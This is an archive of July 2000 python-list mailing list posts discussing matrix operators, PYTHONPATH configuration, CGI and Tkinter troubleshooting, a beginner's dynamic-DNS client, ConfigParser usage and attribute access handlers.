Over the years we've implemented Composition Filters in Smalltalk and C++ and
are currently working on an implementation in Java, which is quite hard, because
e.g. we want to know which object was the sender of a message, and we want to be
able to reason about messages (so we have to be able to make objects out of
messages, to e.g. pass them on, examine them, and then execute them).

This is not easy to do in Java (we're using inlining), but that's the language
we're targeting. From what I have seen from Python, I expect that it will be much
easier to do in Python.

The current Java version is described in a MSc thesis by Hans Wichman:
http://trese.cs.utwente.nl/cd3/publications/paperinfo/wichman.thesis.pi.top.htm

Richard.


From ejr at lotus.CS.Berkeley.EDU  Fri Jul  7 13:25:48 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 7 Jul 2000 17:25:48 GMT
Subject: More math on the O'Reilly Network
References: <3964CA9B.CBCD5B03@oreilly.com> <8k41s8$a8i$1@snic.vub.ac.be>
Message-ID: <8k53qs$r8f$1@agate.berkeley.edu>

And Thomas Hamelryck writes:
 - 
 - Well, it's more an introduction to vector and matrix algebra than a 
 - tutorial on Numpy. Most people who take the trouble installing Numpy 
 - are quite familiar with this stuff.

Matlab became extremely popular once educational materials started
to appear en masse, ones that were introductions to vector and
matrix algebras...  Python need more of this, especially outside the
for-people-already-using-python circles.

Jason


From gmcm at hypernet.com.bbs  Mon Jul 17 23:10:02 2000
From: gmcm at hypernet.com.bbs (gmcm at hypernet.com.bbs)
Date: 18 Jul 2000 03:10:02 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRYjQ$kzv@openbazaar.net>

Huaiyu Zhu wrote:

>On 17 Jul 2000 23:19:16 GMT, Gordon McMillan <gmcm at hypernet.com> wrote:

>>  PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

>Good point. So let me say why I do not like this.  (Doesn't mean it has
>to die.)  :-)
>
>In a program where there are a lot of computations, you'll get either
>something like a ritual on every line,
>
>PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
>PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
>PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

[snip]

>or you get
>
>PyAlgebra.evaluate(r'(A .* B)\C
>                     (A .* B)\C
>                     (A .* B)\C', A=A, B=B, C=C)
>
>Everybody would rush for the latter.  In the end what's inside the quote
>would be a minilanguage with all the bells and wistles of python.  This
>would be just similar to patching the parser, with lesser results.

It would be exactly what SQL and regular expression users deal with every
day. I'm sure some ex-Perlers wish that regexes were "first class" objects,
but there's little noise about it; and none whatsoever from SQL users.

And you get the advantage that you can use the same syntax Matlab uses.

-Gordon


From collins at seal.aero.org  Thu Jul 13 16:03:36 2000
From: collins at seal.aero.org (Jeff Collins)
Date: Thu, 13 Jul 2000 13:03:36 -0700
Subject: Python Palm Port
In-Reply-To: <396DBB86.98F20F75@earthlink.net>
References: <396DBB86.98F20F75@earthlink.net>
Message-ID: <14702.8210.772744.46150@malibu.aero.org>

An initial port is available at 

http://www.isr.uci.edu/projects/sensos/python/

Jeff


William OConnor writes:
 > I was interested in possibly doing a Python port to the Palm OS.  
 > 
 > Is anyone already doing it? 
 > 
 > If so maybe I can help. 
 > 
 > If not, a pointer to some porting information would be appreciated.
 > 
 > nospam.wtoconnor at earthlink.net
 > -- 
 > http://www.python.org/mailman/listinfo/python-list
 > 



From etiennel at geospace.co.za  Mon Jul 17 04:17:06 2000
From: etiennel at geospace.co.za (Etienne Labuschagne)
Date: Mon, 17 Jul 2000 10:17:06 +0200
Subject: Memory leak problems with python and COM
References: <963474833.835936@proxy.lia.net> <8klbu9$38u$1@nnrp1.deja.com>
Message-ID: <963821590.366250@proxy.lia.net>

Hi there

To my embarrasment I found that I am still using Python build 129 and that I
(somehow) missed the release of build 131!

Anyway, build 131 solved the problem!

Thanks for your help.

Regards
Etienne

"Mark Hammond" <mhammond at skippinet.com.au> wrote in message
news:8klbu9$38u$1 at nnrp1.deja.com...
> In article <963474833.835936 at proxy.lia.net>,
>   "Etienne Labuschagne" <etiennel at geospace.co.za> wrote:
> > Deleted a and b on the python side and then destroying the COM
> server - that
> > doesn't clear up the memory. I am using SafeArrayAccessData and
> > SafeArrayUnlock on the server side to make sure that it releases the
> data on
> > the server side.
> >
> > Is there something else that I must do?
>
> I suggest you get the latest CVS version (I realize this may be a
> PITA :-(  Since build 132, a number of leaks have been fixed.  There is
> a very good chance that this particular leak was plugged previously.
>
> If not, I will definately look into this and plug it!
>
> Mark.
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From mksql at my-deja.com  Mon Jul  3 01:19:49 2000
From: mksql at my-deja.com (Matt)
Date: Mon, 03 Jul 2000 01:19:49 -0400
Subject: Tutorials at IPC9
References: <39591877.535A96BC@sage.att.com>
Message-ID: <9i80ms4tbkjjhp90t55au011qquvmsr456@4ax.com>

On Tue, 27 Jun 2000 21:11:19 GMT, Garry Hodgson <garry at sage.att.com>
wrote:

>I'm starting to think about what kinds of tutorials we should have at
>the next Python conference.

Is there information available on when and where this will be?


From bdupire at seatech.fau.edu  Wed Jul 12 10:03:42 2000
From: bdupire at seatech.fau.edu (Benoit Dupire)
Date: Wed, 12 Jul 2000 10:03:42 -0400
Subject: Adding Directory to PYTHONPATH
References: <8i1l7j$d01$1@nnrp1.deja.com>
Message-ID: <396C7ABE.131317A5@seatech.fau.edu>

Hi Mike...

It depends on the platform you  work on.

If you are using Windows, the best is to create a file "mymodules.pth", as
you mentionned.

Ex: "mymodules.pth" content :
mymodules
c:\My Documents\python\modules
Then the next time a Python interpreter is started, sys.path will have
c:\program
files\python\mymodules and c:\My Documents\python\modules added to it, if
they exist. (check!)

This trick doesn't work on other platforms (QNX for example)

On Windows,the other trick is to modify the registry.
Have a look at
http://www.python.org/windows/python/registry.html

Then if you are on Linux/Unix/QNX you have to modify the PYTHONPATH
environment variable.
You can do that in the .cshrc file , located in your home directory.

Edit the file  .cshrc so that it looks like the following:
##### Set path
set path =  ( . /bin /usr/bin /usr/local/bin /usr/ucb /usr/X11/bin
/old_home/bdupire/Python-1.5.2)
set PYTHONPATH = (/old_home/bdupire/Python-1.5.2/my_prog)

On LINUX (bash shell):
$ export PYTHONPATH=/home/me/python
$ echo $PYTHONPATH
 /home/me/python
$ PYTHONPATH=/home/you/python:$PYTHONPATH
$ echo $PYTHONPATH
/home/you/python:/home/me/python


All of these tricks didn't work for me.. so I have to figure out another
way.
If you compiled Python from the source code, go to ../Python-1.5.2/Modules

Edit the file  'Setup'
In thi file you might find the following :

# Standard path components for test modules
TESTPATH=

Modify this line:
TESTPATH=:my_directory
and you will be able to put your modules in
.../Python-1.5.2/Lib/my_directory



I hope this will help as i am also relatively new to Python.

Benoit

mike at pl.net wrote:

> Hi All !
> Probably been asked before but how do you add a new library module
> directory to PYTHONPATH?
>
> I know you can do it dynamically in Python, but in this case I need to
> have a particular module directory available everytime that Python is
> loaded.
>
> I tried including a .pth file but can't see the new directory when I
> print sys.path
>
> Grateful for any pointers
> Best regards
> Aren't we lucky for having Python!
> Mike
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.



From cjensen at bioeng.ucsd.edu  Wed Jul  5 19:19:58 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Wed, 05 Jul 2000 16:19:58 -0700
Subject: Hello Word in CGI
Message-ID: <3963C29E.76211EB7@bioeng.ucsd.edu>

We get this error in our server log:
Wed Jul  5 16:12:52 2000] [error] [client 132.239.236.47] Premature end
of script headers:
/usr/local/httpd/cgi-bin/test_jmsun/cont_forms/helloworld.py


The browser gives us this error:
Internal Server Error

The server encountered an internal error or misconfiguration and was
unable to complete your request.

Please contact the server administrator, webmaster at bioeng.ucsd.edu and
inform them of the time the error occurred, and
anything you might have done that may have caused the error.

More information about this error may be available in the server error
log.


Apache/1.3.6 Server at cmrg.ucsd.edu Port 80



Using this script from:
http://www.ping.be/sabine-appelmans/home/python/index.html

#!/usr/local/Python/bin/python
#
# helloworld.py
#

from time import *

print "Content-type: text/html"
print

print "<HTML>"

print "<Head>"
print "<Title>Hello World</Title>"
print "</Head>"

print "<Body>"
print "<H1>Hello World !</H1>"
print "<hr>"

print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"

print "</Body>"
print "</HTML>"



Any ideas why?

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From jhe at webde-ag.de  Thu Jul 20 04:02:10 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Thu, 20 Jul 2000 10:02:10 +0200
Subject: Determine path of current module?
References: <3976AA30.1C4F62B8@schlund.de>
Message-ID: <8l6bis$elb$1@pollux.ip-plus.net>

"Carsten Gaebler" <cg at schlund.de> schrieb im Newsbeitrag
news:3976AA30.1C4F62B8 at schlund.de...
> How can I determine the path of the current module at runtime?
(sys.argv[0]
> won't work when running it through pythondoc)

### mypath.py
import sys
print sys.modules[__name__].__file__


[d:\tmp]python -c "import mypath"
mypath.py

[d:\tmp]python -c "import mypath"
mypath.pyc


Ciao, J?rgen




From max at alcyone.com  Tue Jul 11 01:20:24 2000
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 10 Jul 2000 22:20:24 -0700
Subject: Circular reference problem -- advice?
References: <396A1EC6.6738CFCC@alcyone.com> <8kdref$j4t$1@nnrp1.deja.com>
Message-ID: <396AAE98.F851708B@alcyone.com>

shindich at my-deja.com wrote:

> It seems to me that there is no need to have this map at all.

It actually is necessary for my purposes, since the strings that is used
for dispatching will not be a status code (a three digit number as a
string), not actually the name of the method to be invoked.  (I simply
showed it that way for the purposes of the sample code; certainly in the
example I showed you are correct.)

Thanks, though.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ If the sky fall, hold up your hands.
\__/ (a Spanish proverb)
    Alcyone Systems' CatCam / http://www.catcam.com/
 What do your pets do all day while you're at work?  Find out.


From skip at mojam.com  Fri Jul  7 11:57:15 2000
From: skip at mojam.com (Skip Montanaro)
Date: Fri, 7 Jul 2000 10:57:15 -0500 (CDT)
Subject: Python bug reporting [was: Re: readline.c & more]
In-Reply-To: <oq4s62uo63.fsf_-_@titan.progiciels-bpi.ca>
References: <Pine.LNX.4.21.0007070138250.7366-100000@krispc6.physik.uni-karlsruhe.de>
	<blk8eywti5.fsf@bitdiddle.concentric.net>
	<oq4s62uo63.fsf_-_@titan.progiciels-bpi.ca>
Message-ID: <14693.64987.484057.325941@beluga.mojam.com>

    Fran?ois> There are plenty of users, and a much smaller bunch of
    Fran?ois> maintainers.  It seems more fit to me to adapt to the plenty
    Fran?ois> of users, than force all of them into the methods of a few.

Fran?ois,

While based on sheer numbers, there are clearly many more users than
maintainers, it's the maintainers that fix things, so they need to be able
to work efficiently.  The number of people with checkin privilege to the
Python CVS tree (currently 20, scattered around the globe) makes it all but
impossible to manually manage change requests and patch submissions.

Under the old system, the number of patches that were falling through the
cracks was far too high.  The SourceForge patch manager and bug manager
aren't perfect, but they provide the Python maintainers with a system that
allows them to much more easily see what's outstanding and what's been taken
care of.  They need to add an email submission mechanism.  I suspect that
will happen in time.  If you forward your request to me I will add submit
the request on your behalf.

-- 
Skip Montanaro, skip at mojam.com, http://www.mojam.com/, http://www.musi-cal.com/
"To get what you want you must commit yourself for sometime" - fortune cookie



From olivierS.dagenaisP at canadaA.comM  Mon Jul  3 12:15:48 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 03 Jul 2000 16:15:48 GMT
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se>
Message-ID: <U_285.27570$W35.647582@news20.bellglobal.com>

I'm not sure feeding "random" numbers as the seed will keep producing random
numbers.

You may want to try scanning different components of the computer, in order
to retrieve values that, chances are, will be different from machine to
machine and from time to time, like how many files are there on the
computer, what the address of the network card is, how long has the machine
been running, what keys has the user pressed, how has the mouse or joystick
been moved, etc... ???

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Kalle Svensson" <kalle at gnupung.net> wrote in message
news:Pine.GSO.4.21.0007031546410.25965-100000 at luna.dsv.su.se...
> Hello.
>
> I have a few questions about the (pseudo) random number generator supplied
> in the standard library. I need 80 random bits (for a CipherSaber IV) but
> I hear most RNG's only supply 32 bits or less. My questions are:
>
>  * How many random bits does whrandom.random() generate?
>
>  * Suppose I do a loop where I get a byte at a time and then re-seed the
>    generator either with random numbers from the generator or with values
>    from time. Will that improve the randomness?
>
>  * Are there better alternatives? I understand I could read from
>    /dev/random on Linux, but this isn't portable, and even though I only
>    use GNU/Linux myself, I have friends who don't. If anyone can tip me
>    off about a similar feature in Win32, I could just detect platform and
>    use the appropriate function, of course. I don't think I have to care
>    about Macs or other *NIX dialects. Phew... :)
>
> Hope I'm making sense even though I hardly understand what I'm talking
> about... :)
>
> TIA,
>   Kalle Svensson
>




From walter111 at structurex.net  Thu Jul 20 03:55:13 2000
From: walter111 at structurex.net (walter hanagriff)
Date: Thu, 20 Jul 2000 02:55:13 -0500
Subject: 2 tkinter questions
Message-ID: <3976B061.617CACB0@structurex.net>

if the source of this standalone file should be given to better help me
by running it, then just say so please, i figured not putting the full
source because this part was my only problem area and to save space,
though i guess i talk too much already

i finally figured a way to add stuff to the second frames in the program
i posted earlier, but everytime i make a step forward it seems that i
get stuck again, and i have tried getting past this one several ways as
usual, the one shown here only the latest one, not better or worse then
the other attempts

main problem: i want to make it so that when a person hits a button the
answer pops up in the frame
i set iv1 and iv2 to those numbers for testing, and another problem to
be asked next.
at first the label wasnt in its own def but it was showing 3 { to the
power of } 2 { = } 9 under the 2 entrys before i even hit the button, so
i gigured puttong it in its own def and calling it from the button would
work, but it still shows too soon
what should i do? and what am i doing wrong that makes it do this, i
also tried not packing the label until the button was pressed by giving
the label a name and using bind on the button and using the button
option command = label1.pack()
but it still showed the label like it was reading the button command
even before i clicked on the button, nothing makes sense. i hope i am
making enough sense to be able to get an answer

second problem, how best should i get the value from the entry widgets
after a value is entered, the line that is commented is that way because
when i try to get the value of entry1 through that get method, it says
no value is entered so i cant get the powr of any numbers, and i also
tried using the get method for the textvariable and still get nowhere,
besdies the best way to get an entry variable how to i make it so that
it doesnt get the variables until from the entry widgets until the
button is pressed?

    def power(self, frame):
        entry1 = Entry(frame, width = 10, textvariable = self.ivar1) ;
entry1.pack()
        entry2 = Entry(frame, width = 10, textvariable = self.ivar2) ;
entry2.pack()
#        iv1 = entry1.get() ; iv2 = entry2.get()
        iv1 = 3 ; iv2 = 2
        text = iv1, " to the power of ", iv2, ' = ', iv1**iv2
        def answer(frame, text):
            Label(frame, text = text).pack(padx = 15)
        Button(frame, text = 'Get answer',
               command = answer(frame, text)).pack(side = LEFT)




From pehr at pehr.net  Thu Jul 20 00:29:26 2000
From: pehr at pehr.net (pehr anderson)
Date: Thu, 20 Jul 2000 04:29:26 GMT
Subject: critique my 1st program ever
References: <39761FAA.70E65704@tcgfinancial.com>
Message-ID: <39768026.C8D9649C@pehr.net>

1. Linux gives your local IP address bound to an interface. 
  My machine has several IP addresses, one for each inteface. 
  Some servers have more than one IP address per interface!
  Your problem is not as easy as it sounds.
  The dirty way is to run /sbin/ipconfig and parse the result.
	txt = os.popen("/sbin/ipconfig").read()

2. Making a background process start transparently 
  on multiple operating systems is going to be a challenge.
  Linux has cron for regular tasks and the /etc/rc.d/init
  directory structure for boot scripts.  Linuxconf does
  a good job of managing thes start/stop scripts if you 
  just follow the existing command-line conventions.

  I have no idea how to install a windows service.
  You may find some pointers in the "Pyhton for Win32" book.

3. To see platform-dependent stuff:
	import sys; print sys.platform
	on my box I get linux-i386


jtoy wrote:
> 
> Hi, this is my first program I have ever written.  Please tell e what I
> need to do to clean it up or make any other suggestions.  Thanks.
> Also, could you answer a couple of question I have below.
> 
> # Written by Jason Toy(toyboy at toy.eyep.net)http://toy.eyep.net on 02:07
> July 16, 2000 EST
> #This program is an eyep client for any OS that has Python installed
> import urllib, os, string
> 
> def parser(host, userdata):
>   if userdata['ip'] =="":
>     eyep =
> 'http://eyep.net/update.php/'+userdata['username']+'/'+userdata['password']+'/'+host
> 
>   else:
>     eyep =
> 'http://eyep.net/update.php/'+userdata['username']+'/'+userdata['password']+'/'+host+'/'+userdata['ip']
> 
>   parsereturn = urllib.urlopen(eyep)
>   if parsereturn.read() == "RETURN4":
>     print host, "has been updated successfully"
>   elif parsereturn.read() == "RETURN1":
>     print "You are missing fields, request is probably misconfigured
> for", host
>   elif parsereturn.read() == "RETURN2":
>     print "Bad username/password for", host
>   elif parsereturn.read() == "RETURN3":
>     print host, "isn't owned by you"
>   elif parsereturn.read() == "RETURN5":
>     print "Invalid IP address for", host
>   elif parsereturn.read() == "RETURN6":
>     print "Service is temporarily unavailable"
>   else:
>     print "Error message on", host, ":", parsereturn.read() ,"--Please
> report to http://www.eyep.net for further information."
> 
> def readuserdata(aFileName):
>   userdata = {}
>   myfile = open(aFileName)
>   for line in myfile.readlines():
>     (item, value) = string.split(line, ':', 1)
>     userdata[item] = string.strip(value)
>   return userdata
> 
> def writeuserdata(aFileName, userdata):
>   myfile = open(aFileName, 'w')
>   for item in userdata.keys():
>     myfile.write("%s:%s\n"% (item, userdata[item]))
>   myfile.close()
> userdata = {}
> if os.access('userdata.dat', os.R_OK) == 0:
>   userdata['username'] = raw_input("Enter your user name: ")
>   userdata['password'] = raw_input("Enter your password: ")
>   userdata['host1'] = raw_input("Enter you first hostname: ")
>   userdata['host2'] = raw_input("Enter your second host(if you have only
> 1, press enter): ")
>   if userdata['host2'] != "":
>     userdata['host3'] = raw_input("Enter your third host(If you have
> only 2, press enter): ")
>   userdata['ip'] = raw_input("Enter your ip(press enter for
> autodetection): ")
> 
> else:
>   userdata = readuserdata('userdata.dat')
> parser(userdata['host1'], userdata)
> if userdata['host2'] !="":
>   parser(userdata['host2'], userdata)
>   if userdata['host3'] !="":
>     parser(userdata['host3'], userdata)
> else:
>   print "Thank You"
> if os.access('userdata.dat', os.R_OK) == 0:
>   print "Saving your configuration........."
>   writeuserdata('userdata.dat', userdata)
> 
> Can you tell me how I can make a python program find the IP address of
> the local machine?  If possible, I would like to make this not matter
> what OS its on( i want it to work on windows and Unix/Linux/BSD).
> Second, can you tell me how I could run this program as a dameon, again
> not OS dependent, because while I know you can put a Python script in
> cron,  how can you do the same with windows?
> Third, how can I make Python recognize what OS its on, that wat if I
> can't do the above 2 questions withouot being OS dependent, then I will
> do somethin like: if OS == x then do else OS == z do
> Thanks for your time.
> 
> Jason Toy
> toyboy at toy.eyep.net
> http://toy.eyep.net


From mfein at aplcomm.jhuapl.edu.bbs  Thu Jul 13 08:40:03 2000
From: mfein at aplcomm.jhuapl.edu.bbs (mfein at aplcomm.jhuapl.edu.bbs)
Date: 13 Jul 2000 12:40:03 GMT
Subject: Discussion: Introducing new operators for matrix computation
Message-ID: <3bO6E2$k0U@openbazaar.net>

On Wed, 12 Jul 2000 19:32:32 GMT, hzhu at knowledgetrack.com (Huaiyu Zhu)
wrote:

>
>We are at a crucial juncture concerning introduction of new operators into
>Python for matrix computation,
>
>1. Experiences with Matlab show that different operators for matrix and
>   elementwise operators are very important
>
>2. It is difficult to add .* and ./ as . is already a valid token.  It seems
>   that next candidate on the standard keyboard is @.
>
>3. Gregory Lielens has just implemented a patch that could parse additional
>   operators containing @
>
>   a at b  is equivalent to a*b,  overloaded using __mmul__   and __rmmul__
>   a@/b                  a/b                    __mrdiv__  and __rmrdiv__
>   a/@b                  b/a                    __mldiv__  and __rmldiv__
>   a@@b                  a**b                   __mpow__   and __rmpow__
>
>   He indicates similar constructions can be added easily.
>
>
>We intend to add these operators together with Thomas Wouters's augmented
>assignment operators (+=,*=, etc) to MatPy, but before that several
>decisions need to be made.  First, the main choices:
>
>
>1. Use a*b as matrix mul, and a@*b as elementwise mul.
>Pros:
>- Consistent with Matlab.
>- Consistent with current MatPy.
>- Convenient for matrix computations.
>Cons:
>- Inconsistent with NumPy
>- How to differentiate left and right div (matlab a\b and a/b)?
>
>
>2. Use a@*b as matrix mul, and a*b as elementwise mul.
>Pros:
>- Consistent with NumPy
>- Can use a@/b and a/@b as matlab a/b and a\b.
>- Can use a at b as inner product so that a at b works irrespective of whether a
>  and b are row or col operators.
>Cons:
>- Inconsistent with current MatPy.  Need great effort to switch.
>- Using two symbol operator for matrix mul is cumbersome for long formulas.
>- It kind of looks ugly.
>
>
>3. Use a at b as matrix mul, and a*b as elementwise mul.  This has most of the
>pros and cons of choice 2, except
>Pros:
>- Single symbol operators for matrix mul and element mul.
>Cons:
>- Can't use a at b as inner product.
>

My own preference would be 'as consistent as possible with MATLAB,
with some caveats'-- this would mean option 1, with some thought about
changes in places where the current MATLAB syntax drops the ball
(IMO). I don't think MATLAB's inelegances should be preserved for the
sake of consistency. On the other hand, I think it's very important to
make the translation from MATLAB language to Python as automatic as
possible.

The main thing I'd think about in addition to standard MATLAB syntax
is a natural 'prolongation' syntax. In other words, contexts in which
the vector [1 2 3] is naturally expanded to [1 2 3;1 2 3;1 2 3;...].
This operation is part of one of the basic strategies in
vectorization-- prolongation, followed by some vectorized operation,
followed in turn by selection or contraction. Presently, MATLAB can do
this, but only in an idomatic and peculiar way. There are some dangers
in this route-- it encourages a tendency to syntactical trickiness--
the history of the APL language provides a case in point and a
warning.

One thing that MATLAB does correctly (again, IMO) is its relatively
relaxed attitude towards distinctions among scalars, 1x1 vectors &
matrices as well as among different kinds of nulls and NAN's. You can
test for these distinctions if you want to, but generally MATLAB will
just quietly do the right thing. There's a tendency to get wrapped up
in fine distinctions in cases where there's really no ambiguity about
what the programmer wants to do.

--
Matt Feinstein
mfein at aplcomm.jhuapl.edu
Organizational Department of Repeated
and Unnecessary Redundancy


From moshez at math.huji.ac.il  Wed Jul 12 13:48:23 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 12 Jul 2000 20:48:23 +0300 (IDT)
Subject: Changing the class of an instance
In-Reply-To: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk>
Message-ID: <Pine.GSO.4.10.10007122047330.12186-100000@sundial>

On 12 Jul 2000, Richard Tobin wrote:

> Is it legal (it seems to work) to change the class of an object by
> assigning to its __class__ attribute?  In particular for the case where
> the new class is a subclass of the old.
> 
> I'm not looking for an argument (not even the five minute one) about
> whether it's a good idea, just whether it's legal.

Well, you can't get arrested for it in Britain, AFAIK. However, accidents
have happened to people who did this, so I'd be careful if I were you.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From herzog at online.de  Fri Jul 28 12:52:18 2000
From: herzog at online.de (Bernhard Herzog)
Date: 28 Jul 2000 18:52:18 +0200
Subject: Python luddites (was Re: Type inference now simplicity)
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au> <397F5410.6D9D317A@uab.edu> <20000727104408.A10021@inkontact.com.au> <39808e81.145010138@news.telus.net>
Message-ID: <m3em4edwot.fsf@greebo.nodomain.de>

root at 127.0.0.1 (David) writes:

> On Thu, 27 Jul 2000 10:44:08 +1000, Steve Purcell
> <stephen_purcell at yahoo.com> wrote:
> 
> >Shae Erisson wrote:
> >> And I'm opposed to it because it seems like sugar to me. I've always
> >> loved Python's simplicity, and I hope it stays that way.
> >> Adding new operators and new syntax will make Python harder to read, and
> >> harder to learn. I don't want that.
> >
> >Yay! Python luddites unite!
> 
> Hear, hear.
>  
> Hell, yeah, I'll use the new operators and syntax!  I freely admit it: I'm
> lazy, I like shortcuts, I'll take the easy way out.
>  
> That doesn't mean I think it's a good idea for Python to offer them.
>  
> IMO, they're detrimental, and should not be offered.

I think we can reconcile both viewpoints, namely "new operators violate
python philosophy" vs. "new operators are useful", by introducing just
one new operator. This new operator guesses what the progammer wanted
and is used like this:

	A ;;>> B

This new operator is pronounced "wink-wink-nudge-nudge" or
"do-whaddaye-mean-do-whaddaye-mean" (although this might be a tad too
Perlish).

For extra expressiveness we could also through in :-|:-| a.k.a.
"say-no-more-say-no-more".


-- 
Bernhard Herzog   | Sketch, a drawing program for Unix
herzog at online.de  | http://sketch.sourceforge.net/


From robin at jessikat.fsnet.co.uk  Thu Jul 20 12:45:15 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 17:45:15 +0100
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
 <8l6vul$5ig$1@slb3.atl.mindspring.net>
 <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be>
 <y$M38JArNyd5EwxV@jessikat.fsnet.co.uk> <m2g0p4oljh.fsf@spiff.home.com>
Message-ID: <g22J6JAbyyd5EwSq@jessikat.fsnet.co.uk>

In article <m2g0p4oljh.fsf at spiff.home.com>, Tim Hochberg
<tim.hochberg at ieee.org> writes
>Robin Becker <robin at jessikat.fsnet.co.uk> writes:
...
>
>> 
>> the lie product (or bracket) has applications in sensitivity analysis
>> and other more exotic stuff in differential geometry
>> 
>> [A,B] = AB - BA
>
>It's the commutator! Why didn't anyone say so earlier. 
>
>-tim
>
well you call it the commutator, but I never called it that in the '70s
when I last used it seriously.
-- 
Robin Becker


From paul at prescod.net  Mon Jul 24 16:04:53 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 24 Jul 2000 15:04:53 -0500
Subject: Erm... might I suggest... (Re: New PEP: Attribute Access Handlers)
References: <Pine.BSF.4.10.10007241234410.10720-100000@chi.pair.com>
Message-ID: <397CA165.582D8786@prescod.net>

Michal Wallace wrote:
> 
> ....
> 
> The two dict idea does make sense. You could have a __handler__ dict,
> and then the normal __dict__. __dict__ would work as today, containing
> normal values. __handler__ would contain accessor methods, marked as
> being the special type to distinguish them from any other
> methods... Or something else.

Why do accessor methods in __handler__ have to be differentiated if the
only thing in __handler__ is accessor methods?

> The "something else" could be any number of things:
> 
> 1. "None", in which case you go look up the value again in __dict__
>    (which I'd guess is a performance issue to your way of thinking)

I'm not sure if I follow. Let's say that I have a hundred attributes on
an object, and one computed attribute. Are you saying that I would have
two dictionaries with a hundred entries each? 99 would be null in the
__handler__ dictionary?

> 2. A reference to the same value in "dict". This would mean you'd
>    have to update both dicts, and keep them in sync.

Same question.

> 3. A reference to a "default" accessor method (builtin), which
>    probably looks pretty much like the current getattr/setattr/delattr.

Same question.

> ...
> You'd still have to look up the thing again in the other dict, but
> you'd eliminate. Plus the handler dict could be copied directly when
> inheriting, so it would always be a one step search to get the
> handler, and the handlers would act only on __dict__.

I'm somewhat leery about implementing a different inheritance
implementation than that of Python itself. I have a vague feeling that
there is reason that Guido chose NOT to copy things from one class's
dict to another. Perhaps so you could dynamically re-structure your
class hierarchy.

> I was going to suggest doing this as a mixin class, but the current
> getattr/settattr/delattr doesn't seem to allow it when there's already
> a value in the dict:

Right, I don't think that that behavior is so onerous now, nor in the
proposal. In return for the performance I think it is a small price to
pay. One serious constraint is that I cannot slow down Python! Adding an
attribute handler to a class should have as little performance impact as
is humanly possible.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From bjorn at roguewave.com  Mon Jul 24 12:16:24 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Mon, 24 Jul 2000 10:16:24 -0600
Subject: the right way of handling **args for __init__ and other methods
References: <8lhlfg$sk5$1@news.kth.se>
Message-ID: <397C6BD8.CF87E01@roguewave.com>

Oivvio Polite wrote:
> 
> Hi all.
> I guess this is more of a design question than a howto question.
> 
> It has to do with implementing arbitrary-argument set methods.
> I want the user to be able to use the same interface with __init__ and read.
> This is a stripped down version:
> class argeater:
>     def __init__(self, somearg, **args):
>         print "init ",args
>         self.data = {}
>         self.read(somearg, argdict=args)

you can use apply(self.read, (), args) and avoid the special case in
read, or...

>     def read(self, somearg, argdict=None,**args):
>         print "read ",args
>         print "argdict ",argdict
> 
>         #putting everything from argdict into args
>         #feels a bit awkward.
>         if argdict:
>             assert type(argdict) == types.DictionaryType
>             for key in argdict.keys():
>                 if not args.has_key(key):
>                     args[key] = argdict[key]
> 
>         #now do a lot of stuff to self.data
>         #based on contents of args

Since args looks to be always empty when argdict != None, you can say

  args.update(argdict)

which will overwrite args, or if you want to be able to pass both a
dictionary and keyword args to read:

  tmp = {}
  tmp.update(args)
  tmp.update(argdict)

-- bjorn



From olmy at thistledown.org.bbs  Mon Jul 17 10:20:01 2000
From: olmy at thistledown.org.bbs (olmy at thistledown.org.bbs)
Date: 17 Jul 2000 14:20:01 GMT
Subject: example on how to use configparser in python?
Message-ID: <3bREh1$jq1@openbazaar.net>

> Does anyone have that?

Hello,

assuming you have a config file called test.conf and it contains the
following:

[DEFAULT]

name = pythontest
path = /tmp/test


then you should be able to use the following quickie test script:

from ConfigParser import *

configdict = ConfigParser()
configdict.read('test.conf')

print configdict.defaults().keys()
print configdict.defaults()['path']

path = configdict.defaults()['path']

print path


that should give you a quick idea of how to load your config file
in ConfigParser's dictionary format.

See the following URL for the reference documentation on what else
you can do with ConfigParser:

http://www.python.org/doc/current/lib/module-ConfigParser.html

Pay special attention on how to handle RFC822 sections and how to handle
the "%" expansions.

Hope this helps.

jeff


From moshez at math.huji.ac.il  Wed Jul 26 16:06:04 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 26 Jul 2000 23:06:04 +0300 (IDT)
Subject: Deleting files with wildcards
In-Reply-To: <397f046d.193858654@news.atnet.at>
Message-ID: <Pine.GSO.4.10.10007262305470.29591-100000@sundial>

